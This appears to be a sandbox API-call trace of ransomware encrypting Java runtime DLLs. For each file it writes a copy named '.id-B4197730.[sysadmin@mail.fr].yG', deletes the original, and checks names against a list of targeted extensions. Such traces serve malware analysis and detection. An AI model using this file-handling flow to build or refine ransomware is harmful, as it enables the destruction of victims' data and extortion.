	[0182.091] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\deploy.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0182.092] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=587840) returned 1
	[0182.092] CloseHandle (hObject=0x340) returned 1
	[0182.092] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\deploy.dll")) returned 0x20
	[0182.092] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\deploy.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0182.092] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\deploy.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0182.092] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.092] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.092] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\deploy.dll.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0182.095] GetLastError () returned 0x0
	[0182.095] ReadFile (in: hFile=0x340, lpBuffer=0x3f4d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4d020*, lpNumberOfBytesRead=0x351fecc*=0x8f840, lpOverlapped=0x0) returned 1
	[0182.562] WriteFile (in: hFile=0x358, lpBuffer=0x3f4d020*, nNumberOfBytesToWrite=0x8f850, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4d020*, lpNumberOfBytesWritten=0x351fc94*=0x8f850, lpOverlapped=0x0) returned 1
	[0182.584] ReadFile (in: hFile=0x340, lpBuffer=0x3f4d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4d020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1
	[0182.584] WriteFile (in: hFile=0x358, lpBuffer=0x3f4d020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4d020*, lpNumberOfBytesWritten=0x351fc94*=0xe8, lpOverlapped=0x0) returned 1
	[0182.584] SetEndOfFile (hFile=0x358) returned 1
	[0182.584] CloseHandle (hObject=0x358) returned 1
	[0182.584] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.244] SetEndOfFile (hFile=0x340) returned 1
	[0183.251] CloseHandle (hObject=0x340) returned 1
	[0183.251] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0183.251] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\deploy.dll")) returned 1
	[0183.252] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll") returned 49
	[0183.252] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll") returned 49
	[0183.252] lstrlenW (lpString=".doc") returned 4
	[0183.252] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0183.252] lstrlenW (lpString=".docx") returned 5
	[0183.252] lstrcmpiW (lpString1=".docx", lpString2="y.dll") returned -1
	[0183.252] lstrlenW (lpString=".pdf") returned 4
	[0183.252] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0183.252] lstrlenW (lpString=".xls") returned 4
	[0183.252] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0183.252] lstrlenW (lpString=".xlsx") returned 5
	[0183.252] lstrcmpiW (lpString1=".xlsx", lpString2="y.dll") returned -1
	[0183.252] lstrlenW (lpString=".ppt") returned 4
	[0183.252] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0183.252] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll") returned 49
	[0183.253] lstrlenW (lpString=".zip") returned 4
	[0183.253] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0183.253] lstrlenW (lpString=".rar") returned 4
	[0183.253] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0183.253] lstrlenW (lpString=".bz2") returned 4
	[0183.253] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0183.253] lstrlenW (lpString=".7z") returned 3
	[0183.253] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0183.253] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll") returned 49
	[0183.253] lstrlenW (lpString=".dbf") returned 4
	[0183.254] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0183.254] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll") returned 49
	[0183.254] lstrlenW (lpString=".1cd") returned 4
	[0183.254] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0183.254] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll") returned 49
	[0183.254] lstrlenW (lpString=".jpg") returned 4
	[0183.254] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0183.254] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll") returned 49
	[0183.254] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll") returned 49
	[0183.254] lstrlenW (lpString=".doc") returned 4
	[0183.254] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0183.254] lstrlenW (lpString=".docx") returned 5
	[0183.254] lstrcmpiW (lpString1=".docx", lpString2="y.dll") returned -1
	[0183.254] lstrlenW (lpString=".pdf") returned 4
	[0183.255] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0183.255] lstrlenW (lpString=".xls") returned 4
	[0183.255] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0183.255] lstrlenW (lpString=".xlsx") returned 5
	[0183.255] lstrcmpiW (lpString1=".xlsx", lpString2="y.dll") returned -1
	[0183.255] lstrlenW (lpString=".ppt") returned 4
	[0183.255] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0183.255] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll") returned 49
	[0183.255] lstrlenW (lpString=".zip") returned 4
	[0183.255] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0183.255] lstrlenW (lpString=".rar") returned 4
	[0183.255] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0183.256] lstrlenW (lpString=".bz2") returned 4
	[0183.256] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0183.256] lstrlenW (lpString=".7z") returned 3
	[0183.256] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0183.256] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll") returned 49
	[0183.256] lstrlenW (lpString=".dbf") returned 4
	[0183.256] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0183.256] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll") returned 49
	[0183.256] lstrlenW (lpString=".1cd") returned 4
	[0183.256] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0183.256] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll") returned 49
	[0183.256] lstrlenW (lpString=".jpg") returned 4
	[0183.256] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0183.257] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0183.257] lstrlenW (lpString="dt_shmem.dll") returned 12
	[0183.257] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_shmem.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0183.258] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=29760) returned 1
	[0183.258] CloseHandle (hObject=0x340) returned 1
	[0183.258] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_shmem.dll")) returned 0x20
	[0183.258] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_shmem.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0183.258] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_shmem.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0183.259] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.259] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.259] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_shmem.dll.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4
	[0183.259] GetLastError () returned 0x0
	[0183.259] ReadFile (in: hFile=0x340, lpBuffer=0x3f4d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4d020*, lpNumberOfBytesRead=0x351fecc*=0x7440, lpOverlapped=0x0) returned 1
	[0183.268] WriteFile (in: hFile=0x3a4, lpBuffer=0x3f4d020*, nNumberOfBytesToWrite=0x7450, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4d020*, lpNumberOfBytesWritten=0x351fc94*=0x7450, lpOverlapped=0x0) returned 1
	[0183.271] ReadFile (in: hFile=0x340, lpBuffer=0x3f4d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4d020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.271] WriteFile (in: hFile=0x3a4, lpBuffer=0x3f4d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4d020*, lpNumberOfBytesWritten=0x351fc94*=0xec, lpOverlapped=0x0) returned 1
	[0183.271] SetEndOfFile (hFile=0x3a4) returned 1
	[0183.271] CloseHandle (hObject=0x3a4) returned 1
	[0183.271] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.272] SetEndOfFile (hFile=0x340) returned 1
	[0183.273] CloseHandle (hObject=0x340) returned 1
	[0183.273] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0183.274] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_shmem.dll")) returned 1
	[0183.274] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll") returned 51
	[0183.274] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll") returned 51
	[0183.274] lstrlenW (lpString=".doc") returned 4
	[0183.274] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0183.274] lstrlenW (lpString=".docx") returned 5
	[0183.274] lstrcmpiW (lpString1=".docx", lpString2="m.dll") returned -1
	[0183.274] lstrlenW (lpString=".pdf") returned 4
	[0183.274] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0183.274] lstrlenW (lpString=".xls") returned 4
	[0183.275] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0183.275] lstrlenW (lpString=".xlsx") returned 5
	[0183.275] lstrcmpiW (lpString1=".xlsx", lpString2="m.dll") returned -1
	[0183.275] lstrlenW (lpString=".ppt") returned 4
	[0183.275] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0183.275] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll") returned 51
	[0183.275] lstrlenW (lpString=".zip") returned 4
	[0183.275] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0183.275] lstrlenW (lpString=".rar") returned 4
	[0183.275] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0183.275] lstrlenW (lpString=".bz2") returned 4
	[0183.275] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0183.275] lstrlenW (lpString=".7z") returned 3
	[0183.275] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0183.275] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll") returned 51
	[0183.275] lstrlenW (lpString=".dbf") returned 4
	[0183.275] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0183.275] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll") returned 51
	[0183.275] lstrlenW (lpString=".1cd") returned 4
	[0183.275] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0183.275] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll") returned 51
	[0183.275] lstrlenW (lpString=".jpg") returned 4
	[0183.275] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0183.276] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll") returned 51
	[0183.276] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll") returned 51
	[0183.276] lstrlenW (lpString=".doc") returned 4
	[0183.276] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0183.276] lstrlenW (lpString=".docx") returned 5
	[0183.276] lstrcmpiW (lpString1=".docx", lpString2="m.dll") returned -1
	[0183.276] lstrlenW (lpString=".pdf") returned 4
	[0183.276] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0183.276] lstrlenW (lpString=".xls") returned 4
	[0183.276] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0183.276] lstrlenW (lpString=".xlsx") returned 5
	[0183.276] lstrcmpiW (lpString1=".xlsx", lpString2="m.dll") returned -1
	[0183.276] lstrlenW (lpString=".ppt") returned 4
	[0183.276] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0183.276] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll") returned 51
	[0183.276] lstrlenW (lpString=".zip") returned 4
	[0183.276] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0183.276] lstrlenW (lpString=".rar") returned 4
	[0183.276] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0183.276] lstrlenW (lpString=".bz2") returned 4
	[0183.276] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0183.276] lstrlenW (lpString=".7z") returned 3
	[0183.276] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0183.277] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll") returned 51
	[0183.277] lstrlenW (lpString=".dbf") returned 4
	[0183.277] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0183.277] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll") returned 51
	[0183.277] lstrlenW (lpString=".1cd") returned 4
	[0183.277] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0183.277] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll") returned 51
	[0183.277] lstrlenW (lpString=".jpg") returned 4
	[0183.277] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0183.277] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0183.277] lstrlenW (lpString="dt_socket.dll") returned 13
	[0183.277] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_socket.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0183.278] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=24640) returned 1
	[0183.278] CloseHandle (hObject=0x340) returned 1
	[0183.278] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_socket.dll")) returned 0x20
	[0183.278] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_socket.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0183.279] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_socket.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0183.279] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.279] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.279] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_socket.dll.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4
	[0183.280] GetLastError () returned 0x0
	[0183.280] ReadFile (in: hFile=0x340, lpBuffer=0x3f4d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4d020*, lpNumberOfBytesRead=0x351fecc*=0x6040, lpOverlapped=0x0) returned 1
	[0183.627] WriteFile (in: hFile=0x3a4, lpBuffer=0x3f4d020*, nNumberOfBytesToWrite=0x6050, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4d020*, lpNumberOfBytesWritten=0x351fc94*=0x6050, lpOverlapped=0x0) returned 1
	[0183.629] ReadFile (in: hFile=0x340, lpBuffer=0x3f4d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4d020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.629] WriteFile (in: hFile=0x3a4, lpBuffer=0x3f4d020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4d020*, lpNumberOfBytesWritten=0x351fc94*=0xee, lpOverlapped=0x0) returned 1
	[0183.629] SetEndOfFile (hFile=0x3a4) returned 1
	[0183.629] CloseHandle (hObject=0x3a4) returned 1
	[0183.629] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.629] SetEndOfFile (hFile=0x340) returned 1
	[0183.630] CloseHandle (hObject=0x340) returned 1
	[0183.631] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0183.631] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_socket.dll")) returned 1
	[0183.631] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll") returned 52
	[0183.631] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll") returned 52
	[0183.631] lstrlenW (lpString=".doc") returned 4
	[0183.631] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0183.631] lstrlenW (lpString=".docx") returned 5
	[0183.631] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1
	[0183.631] lstrlenW (lpString=".pdf") returned 4
	[0183.632] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0183.632] lstrlenW (lpString=".xls") returned 4
	[0183.632] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0183.632] lstrlenW (lpString=".xlsx") returned 5
	[0183.632] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1
	[0183.632] lstrlenW (lpString=".ppt") returned 4
	[0183.632] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0183.632] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll") returned 52
	[0183.632] lstrlenW (lpString=".zip") returned 4
	[0183.632] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0183.632] lstrlenW (lpString=".rar") returned 4
	[0183.632] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0183.632] lstrlenW (lpString=".bz2") returned 4
	[0183.632] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0183.632] lstrlenW (lpString=".7z") returned 3
	[0183.632] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0183.632] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll") returned 52
	[0183.632] lstrlenW (lpString=".dbf") returned 4
	[0183.632] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0183.633] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll") returned 52
	[0183.633] lstrlenW (lpString=".1cd") returned 4
	[0183.633] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0183.633] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll") returned 52
	[0183.633] lstrlenW (lpString=".jpg") returned 4
	[0183.633] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0183.633] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll") returned 52
	[0183.633] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll") returned 52
	[0183.633] lstrlenW (lpString=".doc") returned 4
	[0183.633] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0183.633] lstrlenW (lpString=".docx") returned 5
	[0183.633] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1
	[0183.633] lstrlenW (lpString=".pdf") returned 4
	[0183.633] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0183.633] lstrlenW (lpString=".xls") returned 4
	[0183.633] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0183.633] lstrlenW (lpString=".xlsx") returned 5
	[0183.633] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1
	[0183.634] lstrlenW (lpString=".ppt") returned 4
	[0183.634] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0183.634] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll") returned 52
	[0183.634] lstrlenW (lpString=".zip") returned 4
	[0183.634] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0183.634] lstrlenW (lpString=".rar") returned 4
	[0183.634] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0183.634] lstrlenW (lpString=".bz2") returned 4
	[0183.634] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0183.634] lstrlenW (lpString=".7z") returned 3
	[0183.634] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0183.634] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll") returned 52
	[0183.634] lstrlenW (lpString=".dbf") returned 4
	[0183.634] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0183.634] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll") returned 52
	[0183.634] lstrlenW (lpString=".1cd") returned 4
	[0183.634] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0183.634] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll") returned 52
	[0183.634] lstrlenW (lpString=".jpg") returned 4
	[0183.635] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0183.635] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0183.635] lstrlenW (lpString="glass.dll") returned 9
	[0183.635] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glass.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0183.636] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=265792) returned 1
	[0183.636] CloseHandle (hObject=0x340) returned 1
	[0183.636] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glass.dll")) returned 0x20
	[0183.636] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glass.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
